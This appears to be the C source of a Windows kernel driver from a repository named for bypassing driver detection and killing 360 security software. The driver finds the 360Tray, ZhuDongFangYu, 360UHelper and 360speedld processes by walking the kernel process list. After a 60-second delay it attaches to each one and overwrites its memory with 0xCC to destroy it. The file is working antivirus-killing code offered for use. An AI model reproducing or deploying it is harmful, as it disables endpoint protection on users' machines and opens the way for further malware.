BypassDriverDetection_And_K.../Kill360Process.c

521 lines
11 KiB
C
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include <ntifs.h>
/// 内核函数声明
NTKERNELAPI
VOID
KeAttachProcess(
IN PRKPROCESS Process
);
NTKERNELAPI
VOID
KeDetachProcess(
VOID
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQueryInformationProcess(
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__out_bcount(ProcessInformationLength) PVOID ProcessInformation,
__in ULONG ProcessInformationLength,
__out_opt PULONG ReturnLength
);
//// 结构体
//PED和PTE的结构
//开启PAE版
typedef struct _MMPTE_HARDWARE_PAE {
ULONGLONG Valid : 1;
ULONGLONG Write : 1; // UP version
ULONGLONG Owner : 1;
ULONGLONG WriteThrough : 1;
ULONGLONG CacheDisable : 1;
ULONGLONG Accessed : 1;
ULONGLONG Dirty : 1;
ULONGLONG LargePage : 1;
ULONGLONG Global : 1;
ULONGLONG CopyOnWrite : 1; // software field
ULONGLONG Prototype : 1; // software field
ULONGLONG reserved0 : 1; // software field
ULONGLONG PageFrameNumber : 24;
ULONGLONG reserved1 : 28; // software field
} MMPTE_HARDWARE_PAE, *PMMPTE_HARDWARE_PAE;
typedef struct _MMPTE_PAE {
union {
MMPTE_HARDWARE_PAE Hard;
} u;
} MMPTE_PAE, *PMMPTE_PAE;
//未开启PAE版
typedef struct _MMPTE_HARDWARE {
ULONG Valid : 1;
ULONG Write : 1; // UP version
ULONG Owner : 1;
ULONG WriteThrough : 1;
ULONG CacheDisable : 1;
ULONG Accessed : 1;
ULONG Dirty : 1;
ULONG LargePage : 1;
ULONG Global : 1;
ULONG CopyOnWrite : 1; // software field
ULONG Prototype : 1; // software field
ULONG reserved : 1; // software field
ULONG PageFrameNumber : 20;
} MMPTE_HARDWARE, *PMMPTE_HARDWARE;
typedef struct _MMPTE {
union {
MMPTE_HARDWARE Hard;
} u;
} MMPTE, *PMMPTE;
//// 宏
//获得PDE和PTE
#define PTE_BASE 0xC0000000
#define PDE_BASE 0xC0300000
#define PDE_BASE_PAE 0xc0600000
//开启PAE版
#define MiGetPdeAddressPae(va) ((PMMPTE_PAE)(PDE_BASE_PAE + ((((ULONG)(va)) >> 21) << 3)))
#define MiGetPteAddressPae(va) ((PMMPTE_PAE)(PTE_BASE + ((((ULONG)(va)) >> 12) << 3)))
//未开启PAE版
#define MiGetPdeAddress(va) ((MMPTE*)(((((ULONG)(va)) >> 22) << 2) + PDE_BASE))
#define MiGetPteAddress(va) ((MMPTE*)(((((ULONG)(va)) >> 12) << 2) + PTE_BASE))
//win7 32位下ActiveProcessLinks的偏移
#define ActiveProcessLinksOffset 0xB8
//进程名大小
#define ProcessNameSize 0x260
//目标进程名
//Tray有时会大小写
#define TargetProNameTarap L"360Tray.exe"
#define TargetProNametarap L"360tray.exe"
#define TargetProNameZDFY L"ZhuDongFangYu.exe"
#define TargetProNameHel L"360UHelper.exe"
#define TargetProNamesee L"360speedld.exe"
//开启PAE版
ULONG MmIsAddressValidExPae(
IN PVOID Pointer
)
{
MMPTE_PAE* Pde;
MMPTE_PAE* Pte;
Pde = MiGetPdeAddressPae(Pointer);
if (Pde->u.Hard.Valid)
{
//判断PDE大页情况
if (Pde->u.Hard.LargePage != 0)
{
Pte = Pde;
}
else
{
Pte = MiGetPteAddressPae(Pointer);
}
if (Pte->u.Hard.Valid)
{
return TRUE;
}
}
return FALSE;
}
//未开启PAE版
ULONG MmIsAddressValidExNotPae(
IN PVOID Pointer
)
{
MMPTE* Pde;
MMPTE* Pte;
Pde = MiGetPdeAddress(Pointer);
if (Pde->u.Hard.Valid)
{
Pte = MiGetPteAddress(Pointer);
if (Pte->u.Hard.Valid)
{
return TRUE;
}
//源码忽略PDE大页情况
}
return FALSE;
}
//判断地址是否有效
ULONG MiIsAddressValidEx(
IN PVOID Pointer
)
{
//地址为空则无效
if (!ARGUMENT_PRESENT(Pointer) ||
!Pointer){
return FALSE;
}
//// 页面检测
//检测是否开启PAE
ULONG uCR4 = 0;
_asm{
// mov eax, cr4
__asm _emit 0x0F __asm _emit 0x20 __asm _emit 0xE0;
mov uCR4, eax;
}
if (uCR4 & 0x20) {
return MmIsAddressValidExPae(Pointer);
}
else {
return MmIsAddressValidExNotPae(Pointer);
}
return TRUE;
//此函数用于 同时判断内核对象地址是否有效。
//对象的地址也是一个页面地址。
}
//ZeroProcessMemory破环进程空间
BOOLEAN ZeroProcessMemory(ULONG EProcess)
{
ULONG ulVirtualAddr;
BOOLEAN b_OK = FALSE;
PVOID OverlayBuf = NULL;
//申请填满0xcc的覆盖空间
OverlayBuf = ExAllocatePool(NonPagedPool, 0x1024);
if (!OverlayBuf){
return FALSE;
}
memset(OverlayBuf, 0xcc, 0x1024);
//Attach进目标进程
KeAttachProcess((PEPROCESS)EProcess);
//循环填充进程空间
for (ulVirtualAddr = 0; ulVirtualAddr <= 0x7fffffff; ulVirtualAddr += 0x1024)
{
if (MiIsAddressValidEx((PVOID)ulVirtualAddr))
{
__try
{
//不可写会抛出异常
ProbeForWrite((PVOID)ulVirtualAddr, 0x1024, sizeof(ULONG));
RtlCopyMemory((PVOID)ulVirtualAddr, OverlayBuf, 0x1024);
b_OK = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER){
continue;
}
}
else{
if (ulVirtualAddr > 0x1000000) //填这么多足够破坏进程数据了
break;
}
}
//退出这个进程的空间
KeDetachProcess();
//释放申请的内存
ExFreePool(OverlayBuf);
////验证下是否结束了这个进程
//这种方法并不可靠
//Status = ObOpenObjectByPointer(
// (PEPROCESS)EProcess,
// OBJ_KERNEL_HANDLE,
// 0,
// GENERIC_READ,
// NULL,
// KernelMode,
// &ProcessHandle
// );
////进程还存在,结束失败
//if (NT_SUCCESS(Status)){
// ZwClose(ProcessHandle);
// b_OK = FALSE;
//}
return b_OK;
}
//路径名解析出文件名
void splitname(const PWCHAR szPath,PWCHAR * szfilename)
{
//从后遍历获得文件名
ULONG i;
i = 0;
i = wcslen(szPath);
while (szPath[i] != (WCHAR)'\\')
i--;
i++;
*szfilename = (PWCHAR)((ULONG)szPath + (i*2));
}
//通过进程链遍历进程
PEPROCESS GetEProcessByName(PUNICODE_STRING _ProcessName)
{
NTSTATUS st = STATUS_UNSUCCESSFUL;
HANDLE hPro = NULL;
PEPROCESS FounPro = NULL;
//从系统进程开始遍历
PEPROCESS eProces = (PEPROCESS)IoGetCurrentProcess();
//链表头结点
PLIST_ENTRY ListHead = (PLIST_ENTRY)((ULONG)eProces + ActiveProcessLinksOffset);
//下一结点
PLIST_ENTRY Entry = ListHead->Flink;
PUNICODE_STRING pPath = (PUNICODE_STRING)ExAllocatePool(NonPagedPool, ProcessNameSize);
while (Entry != ListHead)
{
FounPro = (PEPROCESS)((ULONG)Entry - ActiveProcessLinksOffset);
Entry = Entry->Flink;
if (Entry == NULL)
{
KdPrint(("被断链了 \n"));
break;
}
__try
{
RtlZeroMemory(pPath, ProcessNameSize);
////获取稳定的进程名
st = ObOpenObjectByPointer(FounPro, OBJ_KERNEL_HANDLE, NULL, 0, NULL, KernelMode, &hPro);
if (!NT_SUCCESS(st))
{
FounPro = NULL;
break;
}
ULONG OutSize = 0;
st = ZwQueryInformationProcess(hPro, ProcessImageFileName, pPath, ProcessNameSize, &OutSize);
if (!NT_SUCCESS(st))
{
FounPro = NULL;
break;
}
//分离路径得文件名
PWCHAR ProName = NULL;
splitname(pPath->Buffer, &ProName);
KdPrint((("进程名:%ws \n"), ProName));
if (!wcscmp(_ProcessName->Buffer, ProName))
{
KdPrint(("找到了 \n"));
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
FounPro = NULL;
continue;
}
FounPro = NULL;
}
ZwClose(hPro);
ExFreePool(pPath);
ObDereferenceObject(eProces);
return FounPro;
}
////判断进程是否有效
//这是A-Protect的源码但经测试并不可靠
//BOOLEAN IsExitProcess(PEPROCESS Eprocess)
//{
// ULONG SectionObjectOffset = NULL;
// ULONG SegmentOffset = NULL;
// ULONG SectionObject;
// ULONG Segment;
// BOOLEAN b_OK = FALSE;
//
// __try
// {
// //这里锁定Win7 7000 所以直接加偏移
//
// if (MmIsAddressValidExPae(((ULONG)Eprocess + 0x128))){
// SectionObject = *(PULONG)((ULONG)Eprocess + 0x128);
//
// if (MmIsAddressValidExPae(((ULONG)SectionObject + 0x14))){
// Segment = *(PULONG)((ULONG)SectionObject + 0x14);
//
// if (MmIsAddressValidExPae(Segment)){
// b_OK = TRUE; //进程是有效的
// __leave;
// }
// }
// }
// }
//
// __except (EXCEPTION_EXECUTE_HANDLER){
// //接收异常
// }
// return b_OK;
//
// //经测试这种方式不可靠因为有些存活进程的内存对象为NULL。
//}
////DPC回调
//已废
//VOID DpcForTimer(IN struct _KDPC *Dpc, IN PVOID DeferredContext,
// IN PVOID SystemArgument1, IN PVOID SystemArgument2)
//{
// UNREFERENCED_PARAMETER(Dpc);
// UNREFERENCED_PARAMETER(DeferredContext);
// UNREFERENCED_PARAMETER(SystemArgument1);
// UNREFERENCED_PARAMETER(SystemArgument2);
//
// _asm int 3;
// //360Trap
// GetProNameToKillProcess(TargetProNameTarap);
//
// //360trap
// GetProNameToKillProcess(TargetProNametarap);
//
// //ZhuDongFangYu
// GetProNameToKillProcess(TargetProNameZDFY);
//
// //360UHelper.exe
// GetProNameToKillProcess(TargetProNameHel);
//}
BOOLEAN GetProNameToKillProcess(PWCHAR ProName)
{
//根据进程名得到EPROCESS
UNICODE_STRING UName = RTL_CONSTANT_STRING(ProName);
PEPROCESS eProcess = GetEProcessByName(&UName);
if (eProcess != NULL)
{
if (ZeroProcessMemory((ULONG)eProcess)) // 破环进程空间
{
KdPrint((("成功干掉 %ws \n"), ProName));
return TRUE;
}
}
return FALSE;
}
//创建线程等待
NTSTATUS ThreadProc()
{
//等待360相关进程创建 60秒
//时间换算
LARGE_INTEGER interval;
interval.QuadPart = (-10 * 1000);
interval.QuadPart *= 1000 * 60;
KeDelayExecutionThread(KernelMode, FALSE, &interval);
//_asm int 3;
//360UHelper.exe
GetProNameToKillProcess(TargetProNameHel);
//360UHelper.exe
GetProNameToKillProcess(TargetProNamesee);
//ZhuDongFangYu
GetProNameToKillProcess(TargetProNameZDFY);
//360Trap
GetProNameToKillProcess(TargetProNameTarap);
//360trap
GetProNameToKillProcess(TargetProNametarap);
// 退出线程
PsTerminateSystemThread(STATUS_SUCCESS);
}
NTSTATUS UnLoadDriver(PDRIVER_OBJECT DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{
UNREFERENCED_PARAMETER(RegisterPath);
DriverObject->DriverUnload = UnLoadDriver;
//打印信息
//_asm int 3;
KdPrint(("成功绕过驱动拦截"));
////等待360相关进程创建 60秒
////时间换算
//会黑屏
//LARGE_INTEGER interval;
//interval.QuadPart = (-10 * 1000);
//interval.QuadPart *= 1000 * 60;
//KeDelayExecutionThread(KernelMode, FALSE, &interval);
//////等待360相关进程创建 60秒
////设置DPC定时器
////在DPC内由于IRQL不能使用ObOpenObjectByPointer等函数。
//PKTIMER pktimer = (PKTIMER)ExAllocatePoolWithTag(NonPagedPool, sizeof(KTIMER), 'RM');
//PKDPC pKdpc = (PKDPC)ExAllocatePoolWithTag(NonPagedPool, sizeof(KDPC), 'RM');
//KeInitializeDpc(pKdpc, (PKDEFERRED_ROUTINE)DpcForTimer, NULL);
//KeInitializeTimerEx(pktimer, NotificationTimer);
//
//LARGE_INTEGER settime = { 0 };
//settime.QuadPart = 60 * 1000000 * -10;
//KeSetTimer(pktimer, settime, pKdpc);
//等待360相关进程创建 60秒
//创建线程并等待
HANDLE hThread = NULL;
PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, ThreadProc, NULL);
ZwClose(hThread);
return STATUS_SUCCESS;
}